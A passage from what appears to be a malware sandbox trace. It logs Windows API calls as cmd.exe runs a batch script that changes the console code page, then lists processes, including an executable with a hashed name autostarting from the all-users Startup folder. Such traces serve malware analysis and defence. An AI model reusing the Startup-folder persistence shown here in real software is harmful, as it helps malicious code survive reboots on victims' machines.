lpDistanceToMoveHigh=0x0) returned 0x0 [0078.657] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0078.657] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.657] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.657] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0078.657] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.657] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.657] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0078.658] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.658] GetFileType (hFile=0x248) returned 0x3 [0078.658] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.658] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.658] _get_osfhandle (_FileHandle=1) returned 0x254 [0078.658] GetFileType (hFile=0x254) returned 0x3 [0078.658] _get_osfhandle (_FileHandle=1) returned 0x254 [0078.658] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0078.658] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7170e9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x49619bf988, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesWritten=0x49619bf988*=0x18, lpOverlapped=0x0) returned 1 [0078.658] GetProcessHeap () returned 0x223cf4c0000 [0078.658] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0x4012) returned 0x223cf4c8fe0 [0078.658] GetProcessHeap () returned 0x223cf4c0000 [0078.658] RtlFreeHeap (HeapHandle=0x223cf4c0000, Flags=0x0, BaseAddress=0x223cf4c8fe0) returned 1 [0078.659] _wcsicmp (_String1="mode", _String2=")") returned 68 [0078.659] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0078.659] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0078.659] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0078.659] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0078.659] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0078.659] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0078.659] GetProcessHeap () returned 0x223cf4c0000 [0078.659] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0xb0) returned 0x223cf4c67b0 [0078.659] GetProcessHeap () returned 0x223cf4c0000 [0078.659] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0x1a) returned 0x223cf4c6a50 [0078.660] GetProcessHeap () returned 0x223cf4c0000 [0078.660] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0x38) returned 0x223cf4c6a80 [0078.660] GetConsoleOutputCP () returned 0x1b5 [0079.468] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7170efbb0 | out: lpCPInfo=0x7ff7170efbb0) returned 1 [0079.468] SetThreadUILanguage (LangId=0x0) returned 0x409 [0079.943] GetConsoleTitleW (in: lpConsoleTitle=0x49619bf7d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0080.622] malloc (_Size=0xffce) returned 0x223cf6b0840 [0080.622] ??_V@YAXPEAX@Z () returned 0x223cf6b0840 [0080.622] malloc (_Size=0xffce) returned 0x223cf6c0820 [0080.623] ??_V@YAXPEAX@Z () returned 0x223cf6c0820 [0080.623] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0080.623] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0080.623] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0080.623] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0080.623] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0080.623] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0080.623] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0080.623] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0080.623] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0080.623] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0080.623] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0080.623] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0080.623] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0080.623] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0080.623] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0080.624] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0080.624] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0080.624] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0080.624] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0080.624] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0080.624] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0080.624] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0080.624] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0080.624] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0080.624] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0080.624] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0080.624] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0080.624] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0080.624] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0080.624] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0080.624] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0080.624] _wcsicmp (_String1="mode", _String2="START") returned -6 [0080.624] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0080.624] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0080.624] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0080.624] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0080.624] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0080.624] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0080.624] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0080.624] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0080.624] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0080.624] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0080.624] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0080.624] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0080.624] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0080.624] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0080.624] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0080.624] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0080.624] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0080.624] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0080.624] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0080.625] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0080.625] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0080.625] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0080.625] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0080.625] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0080.625] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0080.625] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0080.625] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0080.625] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0080.625] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0080.625] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0080.625] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0080.625] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0080.625] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0080.625] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0080.625] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0080.625] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0080.625] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0080.625] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0080.625] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0080.625] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0080.625] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0080.625] _wcsicmp (_String1="mode", _String2="START") returned -6 [0080.625] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0080.625] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0080.625] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0080.625] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0080.625] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0080.625] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0080.625] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0080.625] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0080.625] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0080.625] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0080.625] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0080.625] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0080.625] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0080.626] ??_V@YAXPEAX@Z () returned 0x1 [0080.626] GetProcessHeap () returned 0x223cf4c0000 [0080.626] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0xffde) returned 0x223cf4c8fe0 [0080.626] GetProcessHeap () returned 0x223cf4c0000 [0080.627] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0x42) returned 0x223cf4c19f0 [0080.627] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0080.627] malloc (_Size=0xffce) returned 0x223cf6c0820 [0080.627] ??_V@YAXPEAX@Z () returned 0x223cf6c0820 [0080.627] GetProcessHeap () returned 0x223cf4c0000 [0080.627] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0x1ffac) returned 0x223cf4d8fd0 [0080.629] SetErrorMode (uMode=0x0) returned 0x0 [0080.629] SetErrorMode (uMode=0x1) returned 0x0 [0080.629] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x223cf4d8fe0, lpFilePart=0x49619bf050 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x49619bf050*="Desktop") returned 0x17 [0080.629] SetErrorMode (uMode=0x0) returned 0x1 [0080.629] GetProcessHeap () returned 0x223cf4c0000 [0080.629] RtlReAllocateHeap (Heap=0x223cf4c0000, Flags=0x0, Ptr=0x223cf4d8fd0, Size=0x4a) returned 0x223cf4d8fd0 [0080.629] GetProcessHeap () returned 0x223cf4c0000 [0080.629] RtlSizeHeap (HeapHandle=0x223cf4c0000, Flags=0x0, MemoryPointer=0x223cf4d8fd0) returned 0x4a [0080.630] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7170ebb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0080.630] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0080.630] GetProcessHeap () returned 0x223cf4c0000 [0080.630] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0x1bc) returned 0x223cf4c8320 [0080.630] GetProcessHeap () returned 0x223cf4c0000 [0080.630] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0x368) returned 0x223cf4d9030 [0080.639] GetProcessHeap () returned 0x223cf4c0000 [0080.639] RtlReAllocateHeap (Heap=0x223cf4c0000, Flags=0x0, Ptr=0x223cf4d9030, Size=0x1be) returned 0x223cf4d9030 [0080.639] GetProcessHeap () returned 0x223cf4c0000 [0080.639] RtlSizeHeap (HeapHandle=0x223cf4c0000, Flags=0x0, MemoryPointer=0x223cf4d9030) returned 0x1be [0080.639] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7170ebb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0080.639] GetProcessHeap () returned 0x223cf4c0000 [0080.639] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0xe8) returned 0x223cf4c6c30 [0080.640] GetProcessHeap () returned 0x223cf4c0000 [0080.640] RtlReAllocateHeap (Heap=0x223cf4c0000, Flags=0x0, Ptr=0x223cf4c6c30, Size=0x7e) returned 0x223cf4c6c30 [0080.640] GetProcessHeap () returned 0x223cf4c0000 [0080.640] RtlSizeHeap (HeapHandle=0x223cf4c0000, Flags=0x0, MemoryPointer=0x223cf4c6c30) returned 0x7e [0080.641] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0080.641] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x49619bedc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x49619bedc0) returned 0xffffffffffffffff [0080.641] GetLastError () returned 0x2 [0080.641] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0080.641] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x49619bedc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x49619bedc0) returned 0xffffffffffffffff [0080.644] GetLastError () returned 0x2 [0080.644] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0080.644] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x49619bedc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x49619bedc0) returned 0x223cf4c1a40 [0080.644] GetProcessHeap () returned 0x223cf4c0000 [0080.644] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x0, Size=0x28) returned 0x223cf4c6cc0 [0080.644] FindClose (in: hFindFile=0x223cf4c1a40 | out: hFindFile=0x223cf4c1a40) returned 1 [0080.644] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x49619bedc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x49619bedc0) returned 0x223cf4c1a40 [0080.644] GetProcessHeap () returned 0x223cf4c0000 [0080.644] RtlReAllocateHeap (Heap=0x223cf4c0000, Flags=0x0, Ptr=0x223cf4c6cc0, Size=0x8) returned 0x223cf4c6cc0 [0080.645] FindClose (in: hFindFile=0x223cf4c1a40 | out: hFindFile=0x223cf4c1a40) returned 1 [0080.645] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0080.645] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0080.645] ??_V@YAXPEAX@Z () returned 0x1 [0080.645] GetConsoleTitleW (in: lpConsoleTitle=0x49619bf340, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0081.196] GetProcessHeap () returned 0x223cf4c0000 [0081.196] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0x21c) returned 0x223cf4c6cf0 [0081.196] GetConsoleTitleW (in: lpConsoleTitle=0x223cf4c6d00, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0081.789] GetProcessHeap () returned 0x223cf4c0000 [0081.789] RtlReAllocateHeap (Heap=0x223cf4c0000, Flags=0x0, Ptr=0x223cf4c6cf0, Size=0xaa) returned 0x223cf4c6cf0 [0081.789] GetProcessHeap () returned 0x223cf4c0000 [0081.789] RtlSizeHeap (HeapHandle=0x223cf4c0000, Flags=0x0, MemoryPointer=0x223cf4c6cf0) returned 0xaa [0081.789] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0082.996] GetProcessHeap () returned 0x223cf4c0000 [0082.996] RtlFreeHeap (HeapHandle=0x223cf4c0000, Flags=0x0, BaseAddress=0x223cf4c6cf0) returned 1 [0082.996] InitializeProcThreadAttributeList (in: lpAttributeList=0x49619bf260, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x49619bf150 | out: lpAttributeList=0x49619bf260, lpSize=0x49619bf150) returned 1 [0082.996] UpdateProcThreadAttribute (in: lpAttributeList=0x49619bf260, dwFlags=0x0, Attribute=0x60001, lpValue=0x49619bf13c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x49619bf260, lpPreviousValue=0x0) returned 1 [0082.996] GetStartupInfoW (in: lpStartupInfo=0x49619bf1f0 | out: lpStartupInfo=0x49619bf1f0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0082.996] GetProcessHeap () returned 0x223cf4c0000 [0082.996] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0x20) returned 0x223cf4c1a40 [0082.996] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0082.996] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0082.996] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0082.996] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0082.996] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0082.996] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0082.997] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0082.997] GetProcessHeap () returned 0x223cf4c0000 [0082.997] RtlFreeHeap (HeapHandle=0x223cf4c0000, Flags=0x0, BaseAddress=0x223cf4c1a40) returned 1 [0082.997] GetProcessHeap () returned 0x223cf4c0000 [0082.997] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0x12) returned 0x223cf4c1a40 [0082.997] _get_osfhandle (_FileHandle=1) returned 0x254 [0082.997] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0082.998] _get_osfhandle (_FileHandle=0) returned 0x248 [0082.998] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0082.998] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x49619bf180*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x49619bf158 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x49619bf158*(hProcess=0x9c, hThread=0x98, dwProcessId=0xd0c, dwThreadId=0xd84)) returned 1 [0083.552] CloseHandle (hObject=0x98) returned 1 [0083.552] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0083.552] GetProcessHeap () returned 0x223cf4c0000 [0083.552] RtlFreeHeap (HeapHandle=0x223cf4c0000, Flags=0x0, BaseAddress=0x223cf4c8500) returned 1 [0083.552] GetEnvironmentStringsW () returned 0x223cf4c8500* [0083.552] GetProcessHeap () returned 0x223cf4c0000 [0083.552] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0xacc) returned 0x223cf4db7a0 [0083.553] FreeEnvironmentStringsA (penv="=") returned 1 [0083.553] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffc38a60000 [0083.553] GetProcAddress (hModule=0x7ffc38a60000, lpProcName="NtQueryInformationProcess") returned 0x7ffc38b056b0 [0083.553] NtQueryInformationProcess (in: ProcessHandle=0x9c, ProcessInformationClass=0x0, ProcessInformation=0x49619be658, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x49619be658, ReturnLength=0x0) returned 0x0 [0083.553] ReadProcessMemory (in: hProcess=0x9c, lpBaseAddress=0x2c57e0b000, lpBuffer=0x49619be690, nSize=0x7a0, lpNumberOfBytesRead=0x49619be650 | out: lpBuffer=0x49619be690*, lpNumberOfBytesRead=0x49619be650*=0x7a0) returned 1 [0083.553] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) Thread: id = 24 os_tid = 0xd9c Process: id = "3" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0xcc50000" os_pid = "0x3d0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x510" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 19 os_tid = 0x4ec Thread: id = 20 os_tid = 0x6bc Thread: id = 21 os_tid = 0xb9c Thread: id = 22 os_tid = 0xee8 Thread: id = 23 os_tid = 0xf0c Process: id = "4" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x5aa98000" os_pid = "0xd0c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x510" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0xd84 Thread: id = 26 os_tid = 0x10fc Process: id = "5" image_name = "dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" page_root = "0x54e5f000" os_pid = "0xdb0" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x9a0" cmd_line = 